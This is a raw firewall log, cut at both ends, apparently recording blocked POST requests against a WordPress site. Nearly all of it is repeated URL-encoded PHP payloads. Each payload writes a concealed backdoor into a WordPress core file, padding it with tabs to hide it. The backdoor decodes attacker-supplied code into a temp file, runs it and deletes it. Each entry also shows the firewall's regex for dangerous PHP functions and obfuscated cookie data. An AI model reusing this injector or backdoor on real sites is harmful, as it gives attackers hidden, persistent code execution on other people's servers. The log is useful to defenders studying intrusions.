%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:53:11","103.143.207.18","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> zm:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-code-editor-control.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521is_null%2528%2524_POST%255B%2522%255Cx6Dr%255Cx6B%2522%255D%2520%253F%253F%2520null%2529%2529%257B%2520%2524comp%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%255D%2529%253B%2520%2524ptr%2520%253D%2520%2524_POST%255B%2522%255Cx6Dr%255Cx6B%2522%255D%253B%2520%2524ptr%2520%253D%2520explode%2520%2528%2527.%2527%2520%252C%2520%2524ptr%2520%2529%253B%2520%2524key%2520%253D%2520%2527%2527%253B%2520%2524s%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253D%2520strlen%2528%2520%2524s%2529%253B%2520%2524len%2520%253D%2520count%2528%2520%2524ptr%2529%253B%2520for%2528%2520%2524j%2520%253D%25200%253B%2520%2524j%2520%253C%2520%2524len%253B%2520%2524j%252B%252B%2529%2520%257B%2520%2524v3%2520%253D%2520%2524ptr%255B%2524j%255D%253B%2520%2524chS%2520%253D%2520ord%2528%2520%2524s%255B%2524j%2520%2525%2520%2524lenS%255D%2529%253B%2520%2524d%2520%253D%2520%2528%2520%2528%2520int%2529%2524v3%2520-%2520%2524chS%2520-%2528%2520%2524j%2520%2525%252010%2529%2529%255E%252085%253B%2520%2524key%2520.%253Dchr%2528%2520%2524d%2529%253B%2520%257D%2520while%2520%2528%2524marker%2520%253D%2520array_shift%2528%2524comp%2529%2529%2520%257B%2520if%2520%2528is_dir%2528%2524marker%2529%2520%2526%2526%2520is_writable%2528%2524marker%2529%2529%2520%257B%2520%2524ent%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524marker%252C%2520%2522.hld%2522%255D%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524ent%252C%2520%2524key%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524ent%253B%2520%2540unlink%2528%2524ent%2529%253B%2520exit%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\ncontent-length:4575\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nhost:dewenlabels.com\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvrz0vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyhL2k1MTHvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-fetch-site:none\n\nzm=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-code-editor-control.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521is_null%2528%2524_POST%255B%2522%255Cx6Dr%255Cx6B%2522%255D%2520%253F%253F%2520null%2529%2529%257B%2520%2524comp%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%255D%2529%253B%2520%2524ptr%2520%253D%2520%2524_POST%255B%2522%255Cx6Dr%255Cx6B%2522%255D%253B%2520%2524ptr%2520%253D%2520explode%2520%2528%2527.%2527%2520%252C%2520%2524ptr%2520%2529%253B%2520%2524key%2520%253D%2520%2527%2527%253B%2520%2524s%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253D%2520strlen%2528%2520%2524s%2529%253B%2520%2524len%2520%253D%2520count%2528%2520%2524ptr%2529%253B%2520for%2528%2520%2524j%2520%253D%25200%253B%2520%2524j%2520%253C%2520%2524len%253B%2520%2524j%252B%252B%2529%2520%257B%2520%2524v3%2520%253D%2520%2524ptr%255B%2524j%255D%253B%2520%2524chS%2520%253D%2520ord%2528%2520%2524s%255B%2524j%2520%2525%2520%2524lenS%255D%2529%253B%2520%2524d%2520%253D%2520%2528%2520%2528%2520int%2529%2524v3%2520-%2520%2524chS%2520-%2528%2520%2524j%2520%2525%252010%2529%2529%255E%252085%253B%2520%2524key%2520.%253Dchr%2528%2520%2524d%2529%253B%2520%257D%2520while%2520%2528%2524marker%2520%253D%2520array_shift%2528%2524comp%2529%2529%2520%257B%2520if%2520%2528is_dir%2528%2524marker%2529%2520%2526%2526%2520is_writable%2528%2524marker%2529%2529%2520%257B%2520%2524ent%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524marker%252C%2520%2522.hld%2522%255D%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524ent%252C%2520%2524key%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524ent%253B%2520%2540unlink%2528%2524ent%2529%253B%2520exit%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:53:14","77.65.47.245","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> qK:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-code-editor-control.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521is_null%2528%2524_POST%255B%2522%255Cx6Dr%255Cx6B%2522%255D%2520%253F%253F%2520null%2529%2529%257B%2520%2524comp%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%255D%2529%253B%2520%2524ptr%2520%253D%2520%2524_POST%255B%2522%255Cx6Dr%255Cx6B%2522%255D%253B%2520%2524ptr%2520%253D%2520explode%2520%2528%2527.%2527%2520%252C%2520%2524ptr%2520%2529%253B%2520%2524key%2520%253D%2520%2527%2527%253B%2520%2524s%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253D%2520strlen%2528%2520%2524s%2529%253B%2520%2524len%2520%253D%2520count%2528%2520%2524ptr%2529%253B%2520for%2528%2520%2524j%2520%253D%25200%253B%2520%2524j%2520%253C%2520%2524len%253B%2520%2524j%252B%252B%2529%2520%257B%2520%2524v3%2520%253D%2520%2524ptr%255B%2524j%255D%253B%2520%2524chS%2520%253D%2520ord%2528%2520%2524s%255B%2524j%2520%2525%2520%2524lenS%255D%2529%253B%2520%2524d%2520%253D%2520%2528%2520%2528%2520int%2529%2524v3%2520-%2520%2524chS%2520-%2528%2520%2524j%2520%2525%252010%2529%2529%255E%252085%253B%2520%2524key%2520.%253Dchr%2528%2520%2524d%2529%253B%2520%257D%2520while%2520%2528%2524marker%2520%253D%2520array_shift%2528%2524comp%2529%2529%2520%257B%2520if%2520%2528is_dir%2528%2524marker%2529%2520%2526%2526%2520is_writable%2528%2524marker%2529%2529%2520%257B%2520%2524ent%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524marker%252C%2520%2522.hld%2522%255D%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524ent%252C%2520%2524key%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524ent%253B%2520%2540unlink%2528%2524ent%2529%253B%2520exit%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\ncontent-length:4575\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nhost:dewenlabels.com\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpHfvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz11oUEcVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-site:none\n\nqK=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-code-editor-control.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521is_null%2528%2524_POST%255B%2522%255Cx6Dr%255Cx6B%2522%255D%2520%253F%253F%2520null%2529%2529%257B%2520%2524comp%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%255D%2529%253B%2520%2524ptr%2520%253D%2520%2524_POST%255B%2522%255Cx6Dr%255Cx6B%2522%255D%253B%2520%2524ptr%2520%253D%2520explode%2520%2528%2527.%2527%2520%252C%2520%2524ptr%2520%2529%253B%2520%2524key%2520%253D%2520%2527%2527%253B%2520%2524s%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253D%2520strlen%2528%2520%2524s%2529%253B%2520%2524len%2520%253D%2520count%2528%2520%2524ptr%2529%253B%2520for%2528%2520%2524j%2520%253D%25200%253B%2520%2524j%2520%253C%2520%2524len%253B%2520%2524j%252B%252B%2529%2520%257B%2520%2524v3%2520%253D%2520%2524ptr%255B%2524j%255D%253B%2520%2524chS%2520%253D%2520ord%2528%2520%2524s%255B%2524j%2520%2525%2520%2524lenS%255D%2529%253B%2520%2524d%2520%253D%2520%2528%2520%2528%2520int%2529%2524v3%2520-%2520%2524chS%2520-%2528%2520%2524j%2520%2525%252010%2529%2529%255E%252085%253B%2520%2524key%2520.%253Dchr%2528%2520%2524d%2529%253B%2520%257D%2520while%2520%2528%2524marker%2520%253D%2520array_shift%2528%2524comp%2529%2529%2520%257B%2520if%2520%2528is_dir%2528%2524marker%2529%2520%2526%2526%2520is_writable%2528%2524marker%2529%2529%2520%257B%2520%2524ent%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524marker%252C%2520%2522.hld%2522%255D%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524ent%252C%2520%2524key%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524ent%253B%2520%2540unlink%2528%2524ent%2529%253B%2520exit%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:53:16","192.3.12.164","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> la:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-code-editor-control.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521is_null%2528%2524_POST%255B%2522%255Cx6Dr%255Cx6B%2522%255D%2520%253F%253F%2520null%2529%2529%257B%2520%2524comp%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%255D%2529%253B%2520%2524ptr%2520%253D%2520%2524_POST%255B%2522%255Cx6Dr%255Cx6B%2522%255D%253B%2520%2524ptr%2520%253D%2520explode%2520%2528%2527.%2527%2520%252C%2520%2524ptr%2520%2529%253B%2520%2524key%2520%253D%2520%2527%2527%253B%2520%2524s%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253D%2520strlen%2528%2520%2524s%2529%253B%2520%2524len%2520%253D%2520count%2528%2520%2524ptr%2529%253B%2520for%2528%2520%2524j%2520%253D%25200%253B%2520%2524j%2520%253C%2520%2524len%253B%2520%2524j%252B%252B%2529%2520%257B%2520%2524v3%2520%253D%2520%2524ptr%255B%2524j%255D%253B%2520%2524chS%2520%253D%2520ord%2528%2520%2524s%255B%2524j%2520%2525%2520%2524lenS%255D%2529%253B%2520%2524d%2520%253D%2520%2528%2520%2528%2520int%2529%2524v3%2520-%2520%2524chS%2520-%2528%2520%2524j%2520%2525%252010%2529%2529%255E%252085%253B%2520%2524key%2520.%253Dchr%2528%2520%2524d%2529%253B%2520%257D%2520while%2520%2528%2524marker%2520%253D%2520array_shift%2528%2524comp%2529%2529%2520%257B%2520if%2520%2528is_dir%2528%2524marker%2529%2520%2526%2526%2520is_writable%2528%2524marker%2529%2529%2520%257B%2520%2524ent%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524marker%252C%2520%2522.hld%2522%255D%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524ent%252C%2520%2524key%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524ent%253B%2520%2540unlink%2528%2524ent%2529%253B%2520exit%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\ncontent-length:4575\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nhost:dewenlabels.com\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvoTRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmMKZvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-fetch-site:none\n\nla=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-code-editor-control.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521is_null%2528%2524_POST%255B%2522%255Cx6Dr%255Cx6B%2522%255D%2520%253F%253F%2520null%2529%2529%257B%2520%2524comp%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%255D%2529%253B%2520%2524ptr%2520%253D%2520%2524_POST%255B%2522%255Cx6Dr%255Cx6B%2522%255D%253B%2520%2524ptr%2520%253D%2520explode%2520%2528%2527.%2527%2520%252C%2520%2524ptr%2520%2529%253B%2520%2524key%2520%253D%2520%2527%2527%253B%2520%2524s%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253D%2520strlen%2528%2520%2524s%2529%253B%2520%2524len%2520%253D%2520count%2528%2520%2524ptr%2529%253B%2520for%2528%2520%2524j%2520%253D%25200%253B%2520%2524j%2520%253C%2520%2524len%253B%2520%2524j%252B%252B%2529%2520%257B%2520%2524v3%2520%253D%2520%2524ptr%255B%2524j%255D%253B%2520%2524chS%2520%253D%2520ord%2528%2520%2524s%255B%2524j%2520%2525%2520%2524lenS%255D%2529%253B%2520%2524d%2520%253D%2520%2528%2520%2528%2520int%2529%2524v3%2520-%2520%2524chS%2520-%2528%2520%2524j%2520%2525%252010%2529%2529%255E%252085%253B%2520%2524key%2520.%253Dchr%2528%2520%2524d%2529%253B%2520%257D%2520while%2520%2528%2524marker%2520%253D%2520array_shift%2528%2524comp%2529%2529%2520%257B%2520if%2520%2528is_dir%2528%2524marker%2529%2520%2526%2526%2520is_writable%2528%2524marker%2529%2529%2520%257B%2520%2524ent%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524marker%252C%2520%2522.hld%2522%255D%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524ent%252C%2520%2524key%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524ent%253B%2520%2540unlink%2528%2524ent%2529%253B%2520exit%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D